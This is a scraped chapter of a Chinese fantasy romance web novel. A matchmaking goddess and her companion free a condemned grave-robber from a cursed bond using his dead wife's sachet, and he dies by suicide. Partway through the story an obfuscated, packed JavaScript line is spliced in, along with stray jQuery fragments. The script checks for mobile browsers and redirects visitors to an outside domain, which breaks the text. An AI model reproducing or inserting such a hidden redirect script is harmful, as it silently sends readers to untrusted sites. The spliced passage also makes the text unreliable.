17. 香囊

作品:《摇身一变成姻缘神

    却道两人走后,欣欣然处理完事情的阎王爷,正欲再度埋首公案之中。


    忽然听闻判官蹙眉嘀咕着:“不对呀,不对呀。”


    那翻开的记述鬼神咒语的书籍,页码横空跳跃几张,左右两面讲述的根本不是同一件事情。


    “真心之吻的解法,也并非是运用在噁咒里……”


    判官小心翼翼地观察着领导的神色:“适才顺着您的思路查找,忘记核对原本的事件了。”


    阎王爷咳嗽两声,黑黑的脸色掩饰尴尬。


    好在判官立即补充道:“但这并不要紧,噁咒施加的对象是鬼魂,就算巧妙强加在凡人身上,也会在短时间内自行消解。”


    既然如此,这般小小的纰漏也不必赘述。


    免得被逮住把柄说他阎王爷工作失误,届时长篇大论的检讨,就会水灵灵地吻了上来。


    事情总会迎刃而解的,阎王爷挥挥手,此事便也就此作罢。


    这也导致,当贺翊元的唇瓣轻擦过崔时夏脸颊时,孙悦的魂魄奇迹般成功归位。


    怎么回事?


    这到底是怎么回事?


    就连坏心思作祟的始作俑者也僵硬在原地。


    贺翊元:呵呵,他心想的果然没错。


    崔时夏:天哪,他竟存有这样的心思!


    被柔软唇瓣触碰过的脸颊,仿佛还残留着贺翊元周身天生的幽香,惹得崔时夏的耳尖泛起浅浅的红色。


    她先发制人,抢过贺翊元握着的红丝线。


    “三番五次召唤它出现,想必早就有归还之意。”崔时夏趁着他愣神,神器收回心念之内。


    贺翊元轻笑道:“无甚所谓,你我之间就算无把柄牵制,也被账簿绑定一处。”


    原本再平常不过的嘴硬对峙,如今莫名其妙的,染上些许暧昧的情愫。


    两人不约而同的抑制着胡思乱想。


    床榻里虚弱的孙悦魂魄归位,逐渐苏醒过来。


    崔时夏认真检查她的身体情况,除却失血过多需要好好补补,其他方面并没有问题。


    但奇怪的是,孙悦的眼神依旧黏黏糊糊,粘在崔时夏的脸颊难以挪开。


    灼热的视线,看得她心底打鼓。


    “孙姑娘,你可有话要说?”崔时夏忍不住直白问道。


    孙悦不置可否,双臂如蛇般丝滑地缠绕上她的胳膊:“崔姐姐,你是不是想要离开啊。”


    “等你病愈后,我自然是要走的。”崔时夏温柔地安慰道,“而且,你的梦魇应该不会再发作了。”


    本来难得的好消息,落在孙悦的耳朵里,并没有常人意料之内的喜悦。


    她唇角的弧度向下弯,赌气似的垂着脑袋:“梦魇不过是姐姐的借口,姐姐就只是不喜欢我而已。”


    “姐姐别走好不好,我以后一定会乖乖听话的。”


    不对劲,孙悦的语气实在不对劲。


    崔时夏僵滞半晌,也没想出合适的答复。


    她抬眸望向角落里的贺翊元,对方的面色竟然比她还要青黑。


    贺翊元游乐人间的时日太久,当即便识破孙悦话语里暴露的端倪:“……你崔姐姐,是成过亲有夫君的人。”


    当初的挡箭牌,现在搬出来也能用。


    反正有真心之吻为证,崔时夏肯定对他心存爱慕。


    贺翊元并未意识到,自己对此竟然没有丝毫抵触,甚至多了几分说不清道不明的……暗喜?


    “那又如何?”孙悦双臂紧紧地缠着崔时夏,“我孙府家大业大,多养个闲人也没负担。”


    不是这个问题啊!


    话题怎么朝着奇怪的方向发展了?


    崔时夏饶是再迟钝,此刻也读懂了孙悦话里的含义。


    她吓得差点儿被自己的口水呛到,当即与贺翊元结成一线,并肩作战。


    话语来回纠缠几次,孙悦就像是陷入死胡同般无法开导,逼得崔时夏不得不使出杀手锏。


    逃避,虽然可耻,但是有用。


    生疏的施展起催眠术,孙悦未出片刻便昏昏欲睡,崔时夏为其掖好被角,拽着贺翊元便朝孙府外面冲去。


    路途偶遇络腮胡,他还热情地打招呼:“贺兄好啊,那药方可见效吗?”


    顶着崔时夏狐疑的目光,贺翊元主客颠倒,反过来拽着她离开得愈发迅速。


    风中凌乱的络腮胡,豪放地大笑起来。


    身旁的追兵首领嫌弃地瞥了他一眼:“有病就去治啊。”


    两人脚下生风,逃也似的跨出孙府高高的门槛,靠在树荫里短暂歇息。


    贺翊元这才重新回过神来,手指间尽是崔时夏手腕肌肤细腻的触感,宛若紫湖温泉里漾不停的春水波澜。


    他佯装若无其事地松开手:“段荣之事,最后还是需要彻底的了结。”


    “没错。”崔时夏深以为然,“即使他被判处死刑,也得在死前了结黑线的孽缘。”


    如此,方能够划掉红线记账簿的失职罪孽。


    两人一拍即合,即刻动身投身于工作。


    再次见到段荣时,他已然消瘦得脱相,强行唤醒后也只会呆愣愣的失神发呆。


    段荣明白,噁咒的失效,让他逃离天牢最后的希冀都消失殆尽。


    他只能拖着残躯,凄凄惨惨地等待死亡。


    “你们还来这里做什么?”他沙哑的嗓音透着自嘲,“就算是看笑话,未免也太迟了。”


    崔时夏望着段荣脚踝深深缠绕的黑线,微微叹了口气:“我有东西还没来得给你。”


    她从衣袖里掏出绣得歪歪斜斜的香囊,郑重地将其放到段荣躺着的干草堆上面。


    段荣原本不以为意,待认清这熟悉的绣工后,神色俱变。


    “你怎么会有……吾妻的东西?”


    “李忆柳曾将此物郑重地拴在月老庙木栏之上,愿得一心人,白首不相离。”


    贴身香囊里,载满着李阿姐对于幸福婚姻的向往。


    奈何世事难料,最终人首分离时的鲜血,也不慎溅到粗拙的绣图之上。


    鸳鸯染血,瞧着似杜鹃啼血。


    段荣喃喃地摩挲着泛旧的香囊,想着曾经困苦流离的生活,想着他们尚未出世就因为病弱流掉的孩子。


    寒冬里他拖着瘸腿,抱着流产浑身是血的李忆柳求医问药,却因为身无分文被大夫驱逐而出。


    那时的段荣暗自发誓,不择手段也要富贵发达。


    掘人祖坟的确赚得盆满钵满,却因为恶贯满盈被报复得妻离子散,苟且偷生。


    烈火烹油的繁华,化作镜花水月一场空。


    段荣浑身剧烈颤抖起来,情绪迸发出莫大的悲怮,惹得脚踝缠绕的黑线雾气缭绕。


    贺翊元主动伸手,将崔时夏护在身后。


    他眼神直勾勾地望着黑线,但凡孽缘伴随着心魔生出共计,贺翊元便要施法抵消对崔时夏的伤害。


    出乎意料的是,黑线在雾气聚集到巅峰的时期,猝不及防地碎裂开来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442280|184174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红丝线不受控制地从崔时夏体内飞奔而出。


    它们围绕着奄奄一息的段荣,主动将一端紧紧缠绕在其脚踝。


    而另一端则主动飞到乡野简陋的坟坑里,拴住正在安静长眠的李忆柳的脚踝。


    连啃噬□□的小虫,都被这股神力震得退避三舍。


    纵然是孽缘,也能够跟随心念转化为良缘。


    红线记账簿里的强烈警示全数消散。


    段荣握着香囊的手掌滑落,血液从嘴角缓缓流出。


    咬舌自尽,没有丝毫犹豫。


    崔时夏愣愣地望着记账簿上的功绩化亏为盈,并未有预料中的喜悦,沉重的心绪紧紧拖拽着她。


    “走吧。”贺翊元微叹道。


    崔时夏抿唇叹息,转身离去。


    重新拴好的红丝线,代表着姻缘神认可和祝福的金玉良缘,逐渐随着段荣身体温度的冷却而消失。


    一如那深情执念的骷髅王爷。


    接连好几天,崔时夏的情绪都保持着低落状态。


    想得明白和做得清醒,完完全全是两件事情。


    贺翊元倒也不会强制地横加干预。


    深夜里两人静悄悄地辞别孙府,崔时夏还贴心地为孙悦留下一封劝慰的信笺,但她也知道,能够起到的作用恐怕是微乎其微。


    这种事情说到底,她不好评价,其实也没有资格去评价。


    月老庙里难得偷得闲暇,崔时夏按照玄瑶仙子传音指点的流程,制好简报呈递给财神殿的报销处。


    恰逢每月财神殿的拨款期日,抵债的仙元勾销得倒是快。


    贺翊元对此评价为,抵债当然比发钱来的直接。


    崔时夏不置可否,但是她看着自己忙得精疲力尽才勾销不到十分之一的账簿,心情实在是难以愉悦。


    “近来并无要事。”贺翊元慵懒地抱臂,闪现在她身后,“当初神女在墓室里承诺的休假可还作数?”


    崔时夏自诩言而有信之人,当即肯定地点点头。


    贺翊元喜笑颜开:“那我便去紫湖歇歇,倘若有事便发传音给我。”


    紫湖这名字,从他的嘴里出现不止一次两次。


    崔时夏默默腹诽,贺翊元真的超爱。


    她爽快地批准了假期,贺翊元就潇潇洒洒地消失在她眼前,剩崔时夏独自一人继续在月老庙里对账。


    小缘扑扑翅膀好奇地飞出来:“神女殿下,你怎么不随着贺小仙君一起前往紫湖呀?”


    “我若是离开,这月老庙谁来守着。”


    崔时夏无聊地将账簿翻来翻去:“欠着还不完的账单,倘若再不认真勤奋些,也不知道猴年马月才能够和贺翊元解绑……”


    话锋至此,她倏然便就此停顿。


    崔时夏回忆起兵荒马乱里,轻擦而过的那个吻。


    真心之吻,是需要单方面有意向,还是需要双方相互中意才可以实现呢?


    千回百转的想法忘记屏蔽掉小缘,这只小红鸟乖乖巧巧地站在崔时夏肩头,努力降低着自己的存在感。


    崔时夏的神情,也随着心念千变万化。


    似乎有人在背后喊她的名字。


    愣神好半晌,崔时夏猛然回头,逍遥休假的贺小仙君不知为何竟然重现出现在她身后。


    他晃了晃手里两张银光闪烁的紫湖汤池套票。


    “买两张打八折。”贺翊元理直气壮地说道,“从实惠角度出发,只能劳烦神女随我共同前往了。”